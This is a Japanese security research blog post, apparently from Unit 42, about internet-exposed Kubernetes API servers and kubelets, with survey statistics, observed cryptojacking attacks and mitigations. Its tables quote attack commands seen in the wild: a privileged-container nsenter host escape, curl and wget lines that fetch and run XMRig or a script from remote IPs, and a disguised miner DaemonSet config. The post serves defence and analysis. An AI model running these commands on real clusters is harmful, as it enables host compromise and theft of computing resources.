セキュリティの不十分なKubernetesインスタンスに悪用のおそれ

By , and

Category: Unit 42

Tags: , , , ,

A conceptual image representing Kubernetes topics, including the unsecured Kubernetes instances discussed here.

This post is also available in: English (英語)

概要

Unit 42のリサーチャーは2020年10月から2021年2月までインターネット上のセキュアではないKubernetes(k8sとも)クラスタを定期的にスキャンして分析してきました。Kubernetesクラスタの構成上のセキュリティは強化が可能で、また必要でもあります。そのように構成されていない場合、IPやポート、APIを知っていれば誰でも匿名でこれらのクラスタにアクセスできてしまいます。私たちのチームのリサーチャーが特定したセキュアではないKubernetesクラスタは2,100個あり、それらは5,300個のノード、31,340個のCPU、75,270個のポッドで構成されていました。これらセキュアではないクラスタは、Eコマース、金融、ヘルスケアなどのセクタの組織によって運用されており、さまざまなアプリケーションが実行されています。APIトークンやデータベースの認証情報、ソースコード、個人情報(PII)など、アプリケーション内には豊富な計算リソースと大量の機密データがあることから、これらのセキュアではないクラスタは、攻撃者にとってはうまみの多いターゲットとなっています。私たちリサーチャーが見つけた最大のクラスタには、500個を超えるノードと2,000個を超えるアクティブなポッドが含まれていました。

Unit 42は、これらのセキュアではないKubernetesクラスタの一部でマルウェアと悪意のあるアクティビティを発見しました。私たちが観測した悪意のあるコードの大半はコンテナとしてポッドで実行されていましたが、ホストに直接デプロイされているものもありました。コンテナ化されたアプリケーションはすべて、他のアプリケーションと異なるプロセスID、ネットワーク、ファイルシステムを使用する分離されたワークスペース(名前空間)内で実行されます。マルウェアがこの分離をバイパスして基盤となるホストのリソースにアクセスした場合、クラスタをホストするクラウド環境にもリスクが生じます。このレベルのアクセスがある場合、認証情報の抽出やレジストリの侵害、ホストのデータとネットワークへのアクセスなど、横方向や縦方向の展開が可能であることを私たちリサーチャーは実証しています。

セキュアではないKubernetesAPIサーバーとセキュアではないDockerデーモンには多くの共通点があります。設定を誤ると、攻撃者はそこで実行されている公開APIを悪用してコンテナプラットフォーム全体を制御することができます。以前の調査では、セキュアではないDockerデーモンで多数、悪意のあるアクティビティが特定されています(たとえばGraboidCetusPro-Oceanなど)。興味深かったのは、以前Dockerについて同様の調査を実施したさいに見られたほど多くの悪意のあるアクティビティがKubernetesでは見られなかった点です。

一見するとセキュアではないKubernetesクラスタでは悪意のあるアクティビティレベルが低いように見えますが、Kubernetesを対象にオペレーションを展開している攻撃者はより価値の高いターゲットにアクセスできる可能性があります。侵害されたKubernetesクラスタには、はるかに多くのリソース(CPU、メモリ、ネットワーク)とアプリケーションデータが含まれる可能性があるため、有能な攻撃者は、コマンド&コントロール(C2)サーバーを簡単にホストしたり、ボットネットを構築したり、機密データを盗んだりすることができます。このため私たちはセキュアではないKubernetesをターゲットにするないし活用する攻撃者は遠からず増えるものと見ています。

Prisma CloudまたはCN-Seriesをご利用中のパロアルトネットワークスのお客様は、この脅威から保護されています。Prisma CloudのKubernetes ベンチマークRuntime Defenseは、安全でない構成について警告し、クリプトジャックなどの悪意のあるアクティビティを検出できます。CN-Seriesは悪意のあるトラフィックを含むコンテナを効果的に検出・分離する完全なL7可視性を提供します。

図1 公開されているKubernetesクラスタ上で特定されたコンテナ、イメージ、シークレット、デプロイメントの数
図1 公開されているKubernetesクラスタ上で特定されたコンテナ、イメージ、シークレット、デプロイメントの数

誤って設定されたKubernetesコンポーネント

Kubernetesは、複数のレイヤとコンポーネントで構成される非常に複雑なプラットフォームです。Kubernetesはそのモジュール化された設計のおかげで柔軟かつスケーラブルで、ほとんどのコンポーネントを個別に構成したり、特定の目的にあわせて交換したりできます。ただしこの複雑さは、プラットフォームを適切に保護することも困難にしています。以下のセクションで示すように、1箇所設定ミスがあるだけで、コンテナや、ときにはクラスタまでもが侵害される可能性があります。

本稿では、kube-apiserver (APIサーバー)とkubeletという2つのKubernetesコンポーネントについて説明します。どちらもRESTful APIサーバーとして実行され、基盤となるコンテナの管理用リクエストを受け入れます。ここでこれら2つのコンポーネントに焦点を当てる理由は、これら2つのコンポーネントはすべてのKubernetesプラットフォームに存在し、設定を誤るとホストの侵害につながる可能性があるからです。今回は、認証なしでアクセスできるインターネット上のkube-apiserversとkubeletを分析します。

Kube-apiserverは、クライアントからRESTfulリクエストを受け取り、そのリクエストをコンテナ、ポッド、またはノードに対するオペレーションに変換するKubernetesクラスタのフロントエンドです。Kubernetesを使用すると、クライアントはクライアント証明書やベアラートークンなどを使用して認証を行うことができます。匿名クライアントがAPIサーバーにアクセスできるか否かは構成しだいです。管理者はAPIのサブセットを匿名ユーザーに対して公開してしまうことがあります。これにより、すべてのアプリケーションがそこから特定のデータを読み取ることができるようになります。現在のデフォルトのKubernetesの実装では、認証されていないユーザーは制限付きのAPI情報にアクセスすることができます。

kube-apiserverの全APIは、そのAPIリファレンスに詳しくまとめられています。図2は、curlを使用してAPIサーバーにリクエストを送信する例を示しています。図3は、kubectlを使用して同じリクエストを作成した例です(kubectlはKubernetesコミュニティが管理するコマンドラインツールです)。例に示したAPIは、デフォルトでは匿名ユーザーに公開されていないことに注意してください。ここではデモのため、匿名ユーザーに多くの権限をバインドしています。

図2 curlを使用して匿名でkube-apiserverにアクセスする
図2 curlを使用して匿名でkube-apiserverにアクセスする
図3 kubectlを使用して匿名でkube-apiserverにアクセスするkubectlは匿名リクエストを送信するためにダミーのユーザー名とパスワードを必要とすることに注意
図3 kubectlを使用して匿名でkube-apiserverにアクセスするkubectlは匿名リクエストを送信するためにダミーのユーザー名とパスワードを必要とすることに注意

kubeletはKubernetesクラスタ内のすべてのノード上で実行されているエージェントです。さまざまなコンポーネント(主にkube-apiserver)からRESTfulリクエストを受け取ってポッドレベルのオペレーションを実行します。クライアントはクライアント証明書またはベアラートークンを使用してkubeletで認証を行うことができます。APIサーバー同様、構成によりkubeletが未認証のリクエストの受け入れをするかしないかがきまります。現在のKubernetesの実装では、デフォルトでkubeletへの匿名アクセスが許可されます。

kubeletに公式APIリファレンスページはありませんが、そのAPIはソースコード内で見つかります。オープンソースプロジェクトであるkubeletctlにもkubeletのすべてのAPIの詳細が含まれています。図4ではcurlを使用して2つのリクエストをkubeletサーバーに送信し、図5では、kubeletctlを使用して同じリクエストを行っています。

図4 curlを使用して匿名でkubeletサーバーにアクセスする
図4 curlを使用して匿名でkubeletサーバーにアクセスする
図5 kubeletctlを使用して匿名でkubeletサーバーにアクセスする
図5 kubeletctlを使用して匿名でkubeletサーバーにアクセスする

誤って設定されたKubernetesクラスタの概要

私たちは、2020年10月から2021年2月にかけ、インターネットに公開されている6,400台のAPIサーバーと1,030個のkubeletを特定しました。これらのサーバー内では、47,030個のコンテナ、47,115個のイメージ、83,902個のシークレットが見つかりました(図1参照)。

図6〜9は、これらのKubernetesクラスタで特定された地理的な場所、サービスプロバイダ、リークされたAPI、バージョンの概要を示しています。図6は、公開されているサーバーの50%が中国で、18.2%が米国で見つかっていることを示しています。

図6 世界中に向けて公開されているKubernetesクラスタ
図6 世界中に公開されているKubernetesクラスタ

図7は、セキュアではないサーバーの約65%がパブリッククラウド上にホストされていることを示しています。これらのサーバーの39%が中国を拠点とするクラウドサービスプロバイダ(CSP)でホストされており、25.9%が米国を拠点とするCSPでホストされています。この結果は、公開サーバーの68%が中国ないし米国でホストされている国別の分布と一致しています。

図7 パブリッククラウドサービスプロバイダにおける公開Kubernetesクラスタ
図7 パブリッククラウドサービスプロバイダにおける公開Kubernetesクラスタ

図8は、匿名でアクセスできるAPIを示しています。サーバーが異なると公開されるAPIの内容も異なる様子が観測されています。たとえば公開APIサーバーの18.3%は /api/v1/nodes に匿名アクセスできますが、このうち13.6%のみが /api/apps/v1/deployments に匿名アクセスできるようになっています。とはいえ、これらAPIのいずれかへのアクセスを得られれば機微なアプリケーションやプラットフォームの情報が漏えいする可能性があります。

図8 匿名/未認証アクセスを許可するAPI
図8 匿名/未認証アクセスを許可するAPI

図9は、特定されたKubernetesクラスタのバージョンを示したものです。v1.12、v1.13、v1.16が最もよく見られたバージョンで、デプロイの50%をしめています。この数値からは、クラスタの50%が2年以上更新されていないことがわかります。本稿執筆時点では、v1.9が利用可能な最新バージョンでしたが、これはデプロイの2.2%しかしめていませんでした。

図9 公開されたKubernetesクラスタのバージョン
図9 公開されたKubernetesクラスタのバージョン

セキュアではないKubernetesクラスタでの悪意のあるアクティビティ

セキュアではないKubernetesクラスタは、あらゆる種類の攻撃に対して脆弱です。とりわけ、攻撃者が悪意のあるクリプトマイニングソフトウェアを侵害コンテナに展開するクリプトジャック攻撃は、いぜんとして最もよく見られます。私たちが観測したクリプトジャックマルウェアは、新しいコンテナとして展開されるか、ハイジャックされたコンテナ内で起動されていました。コンテナへのアクセスを得た一部のマルウェアは横方向や縦方向にも展開しようとします。横方向に展開した場合、より多くのコンテナやアプリケーションを制御できるようになり、縦方向に展開した場合、ホストあるいはクラスタがデプロイされているクラウド環境までも制御できるようになります。

悪意のあるコンテナのデプロイ

マルウェアを含むコンテナイメージのデプロイはコンテナプラットフォームにおける攻撃開始手法としてよく見られるものです。コンテナは一般にオペレーティングシステム(OS)に依存しないため、コンテナ化されたマルウェアはどのような環境でも簡単に実行できます。Docker HubQuaryなどのパブリックコンテナレジストリもまた、悪意のあるコンテナのホスティングや配布をやりやすくしています。弊社の以前の調査では、Docker Hubに多数の悪意のあるイメージが発見されています(詳細については2000万のマイナー: Docker Hub上で悪意のあるクリプトジャックイメージを探索セキュアでないDockerデーモンへの攻撃者の戦術とテクニックが明らかに 地理的分布で日本は全体の3.7%DockerイメージをクリプトジャックしMoneroをマイニングする攻撃者の各ブログを参照してください)。

ただし、悪意のないコンテナイメージが悪意のある目的に利用されてしまうこともあります。たとえば、正当なコンテナイメージであるUbuntuCentosがマルウェア実行に転用された未認証の環境にデプロイされることはあります。ほとんどのコンテナプラットフォームはデフォルトでこれら公式イメージを信頼しています。表1は、公式Docker Hubイメージを利用してマルウェアを構築・デプロイする3つの攻撃を示したものです。これら3つの攻撃は、セキュアではない何百ものKubernetesクラスタで観測されました。

コンテナイメージ 悪意のあるコマンド 注意
docker docker run -it --privileged --pid=host --net=host docker sh -c nsenter --mount=/proc/1/ns/mnt -- su - 攻撃者がホストのプロセス、ネットワーク、マウントの名前空間で特権コンテナを実行することによりホストへのアクセスを取得していました。
centos sh -c curl -o /var/tmp/xmrig http://185.144.101[.]201/xmrig;curl -o /var/tmp/config.json http://185.144.101[.]201/222.json;chmod 777 /var/tmp/xmrig;cd /var/tmp;./xmrig -c config.json 攻撃者はXMRrigバイナリをCentosコンテナにダウンロード・実行していました。
debian sh -c echo nameserver 8.8.8.8 > /etc/resolv.conf && cat /etc/resolv.conf && apt-get update && apt-get install -y wget cron&&service cron start&& wget -q -O - http://185.92.74[.]42/m.sh | sh;tail -f /dev/null 攻撃者は、悪意のあるスクリプトをダウンロードして実行する前にデフォルトのDNSリゾルバを変更し、その後スクリプトが暗号化バイナリをダウンロードして実行していました。

表1 セキュアではないKubernetesでクリプトジャックを行うコンテナ

Docker Hubで公開された正当な暗号通貨(仮想通貨)マイニング用のツールはたくさんあります。暗号通貨の愛好家はマイニングネットワークへの参加のためにこうしたコンテナをよく実行しています。ただし、同じイメージが悪用されることもあります。表2は、攻撃者がMoneroのマイニングツールであるXMRigを使用し、クリプトジャックオペレーションを実行する方法を示しています。そのイメージはDaemonSetとしてデプロイされていて、すべてのワーカーノードがコンテナのインスタンスを少なくとも1つは実行し、ノードがクラスタに参加したりクラスタから離脱したりするとポッドが自動的に再スケジュールされるようにしてありました。また悪意のあるプロセスをごまかすために攻撃者はDaemonSetを「Kube-controller」と名付け、kube-systemの名前空間にデプロイしていました。kube-systemの名前空間はふつうはKubernetesシステムが作成したオブジェクトのためにだけ使用されます。名前が難読化されていることから、管理者が実行中のポッドやデーモンを確認しても、この悪意のあるコンテナはたやすく見落とされてしまう可能性があります。

コンテナイメージ dorjik/xmrig
デプロイのタイプ DaemonSet
名前 Kube-controller
悪意のあるコマンド sh -c /xmrig/xmrig --donate-level 0 -o ca.minexmr.com:443 -u

41pdpXWNMe6NvuDASWXn6ZMdPk4N6amucCHHstNcw2y8caJNdgN4kNeW3QFfc3amCiJ9x6dh8pLboR6minjYZpgk1szkeGg -k --tls >/dev/null 2>/dev/null

名前空間 kube-system
アノテーション kubernetes.io/psp: eks.privileged

表2 クリプトジャックを行うコンテナの構成

ハイジャックされたコンテナで悪意のあるプロセスを起動する

セキュアではないAPIサーバーやkubeletを介し、実行中のコンテナでリモートからコードを実行(RCE)することができます。APIサーバーのexec APIやkubeletのrun APIを使用すれば、攻撃者はコンテナ内で任意のコマンドを実行できます。ハイジャックされたコンテナで悪意のあるプロセスを起動すれば、新しいイメージをプルしたり新しいコンテナを実行したりする必要ありません。これによりステルス性を高めることができます。コンテナの脆弱性スキャナや静的分析ツールではこのタイプの攻撃を検出できません。

Unit 42のリサーチャーは最近の研究でHildegardと呼ばれるクリプトジャック用のマルウェアについて文書化していますが、このマルウェアは誤って設定されたKubernetesクラスタをターゲットにしていました。攻撃者はインターネットに向けられているセキュアではないkubeletを介して最初のコンテナを侵害し、続いてクラスタ内の他のノードに横展開して複数のコンテナをハイジャックしました。侵害された各コンテナではマルウェアがC2サーバーに戻るIRCチャネルを確立しようとし、悪意のあるクリプトマイニングソフトウェアを開始していました。ただし、実行中のコンテナにインジェクトされた悪意のあるマイニングソフトウェアの寿命は短い傾向があります。これはコンテナが頻繁に再起動・再スケジュールされうるためです。悪意のあるマイナーは、ホストコンテナの再起動後にも常駐することはできません。

セキュアではないKubernetesに対する潜在的な攻撃

前のセクションではセキュアではないKubernetesクラスタでの調査結果を示しました。このセクションではこうしたセキュアではない環境で発生しうる潜在的な攻撃について、いくつか取り上げます。まずは、考えられる各攻撃の初期アクセスについて定義し、攻撃者が初期アクセスを悪用する方法を示します。

  • 過度に寛容な機能設定: 各コンテナは、アプリケーションの要件に応じ、特定の機能のサブセットを許可されます。たとえばアプリケーションが特権ポート(1024未満のポート番号)にバインドしたければ、cap_net_bind_service機能を許可してもらう必要があります。ほかにも、そのアプリケーションがICMPパケットを送信する必要があるならcap_net_raw機能が必要です。またcap_sys_modulecap_sys_adminなどの機能は、高い特権を持つアクセス許可を付与し、コンテナがホストのカーネルモジュールにアクセスできるようにします。これらの機能を備えたコンテナが侵害されると、攻撃者はホストにたやすくアクセスできるようになります。
  • 共有された名前空間: プロセス、ネットワーク、ファイルシステムなど、コンテナの全リソースは分離された名前空間に配置されます。このため、コンテナ化されたアプリケーションはサンドボックス環境で実行することが可能です。ただし、コンテナが名前空間を他のコンテナやホストと共有したい場合もあります。たとえば、コンテナがホストのネットワークトラフィックをキャプチャする必要がある場合などがそうです。この場合、コンテナをホストのネットワーク名前空間で実行しなければなりません。しかしながら共有された名前空間は攻撃者にたいしてコンテナからホストに展開するためのチャネルを開いてしまいます。
  • パッチ未適用の脆弱性: パッチ未適用のコンテナランタイムやノードOSはコンテナブレイクアウトのリスクにつながります。コンテナ化されたアプリケーションのスケジュールや管理を行っているのはコンテナランタイムですが、このコンテナランタイムに脆弱性(たとえばCVE-2019-5736)があれば、アプリケーションにコンテナブレイクアウトを許してしまう可能性があります。コンテナはホストのOSカーネルを共有しているので、カーネルエクスプロイトの大半が特権昇格につながり、コンテナブレイクアウトを許してしまう可能性があります。
  • 窃取されたサービスアカウントトークン: サービスアカウントトークンはコンテナ上に存在し、このトークンを使ってアプリケーションはAPIサーバーとの認証を行っています。これが盗まれると、攻撃者がアプリケーションになりすまし、APIサーバーを利用して横方向・縦方向に展開する可能性があります。
  • 窃取されたクラウドアカウント認証情報: Hildegardの調査でも説明したように、攻撃者は侵害したアプリケーションやコンテナ経由でクラウドの認証情報にアクセスする可能性があります。クラウドの認証情報があれば、攻撃者はKubernetesクラスタをホストしているクラウド環境にアクセスできます。これにより侵害はさらに悪化します。

保護と緩和策

上記のすべての問題は、以下のような厳格なセキュリティポリシーを使用することで防ぐことができます。

  • パッチを頻繁に適用する
    • 初期アクセスや特権昇格に既知の脆弱性が悪用されることがあります。アプリケーションやコンテナプラットフォームは定期的にスキャンし、頻繁にパッチを適用すべきです。
  • ネットワークを保護する
    • APIサーバーやkubelet、etcdなどのKubernetesコンポーネントをインターネットに公開しないでください。ファイアウォールルールで、これらコンポーネントへの通信許可を少数のIPアドレスサブセットのみに限定する必要があります。
    • サポートしている場合はすべてのKubernetesコンポーネントに相互TLS(mTLS)認証を適用します。
    • ネットワークセキュリティポリシーを適用して、ポッドが通信できるポッド、名前空間、IPアドレス範囲を制限します。
  • IDを保護する
    • ロールベースのアクセス制御(RBAC)をエンフォースし、最小特権の原則を実践します。どのロールについても、どうしても必要な権限のみを付与するようにしてください。
    • 各コンポーネントは匿名や未認証のリクエストの受け入れや応答を行わないようにします。
    • 認証情報と証明書は定期的にローテーションし、潜在的な認証情報漏えいリスクを緩和します。

結論

Unit 42のリサーチャーは2020年10月から2021年2月の間にインターネット上のセキュアではないKubernetesクラスタから大量の機微データが漏えいしたことを確認しています。漏えいしたデータには、APIトークン、データベース認証情報、ソースコード、個人情報(PII)が含まれています。大規模な攻撃や高度な攻撃こそ見られませんでしたが、過去5か月間、日和見攻撃の増加傾向は確認されています。コンテナテクノロジ採用の急速な広まりやKubernetesクラスタのもつ豊富な計算リソースを受け、この未開拓地には今後ますます多くの攻撃者の目が向けられるようになることでしょう。ただしそうした日和見攻撃もそのほとんどがシンプルなベストプラクティスと監視を続けることで効果的に検出・防止できます。そのさいはKubernetesテクノロジの複雑で動的な性質を考慮し、たとえばPrisma Cloudなどのクラウドワークロード保護ソリューションを使ってクラスタを監視することをお勧めします。

パロアルトネットワークス製品をご利用のお客様は、Prisma Cloudのランタイム保護、Cryptominer Detection、Prisma Cloud Compute Kubernetes Compliance Protectionによってこの脅威から保護されています。これは、不十分なKubernetes構成を警告し、安全な代替手段を提供します。Prisma Cloud Computeの脆弱性スキャナがあれば、コンテナ内のアプリケーションの脆弱性やホスト上のプラットフォーム/OSの脆弱性について警告を受けることができます。

追加資料

Highlights from the Unit 42 Cloud Threat Report, 1H 2021 (『Unit 42 クラウド脅威レポート2021年1H』の注目ポイント)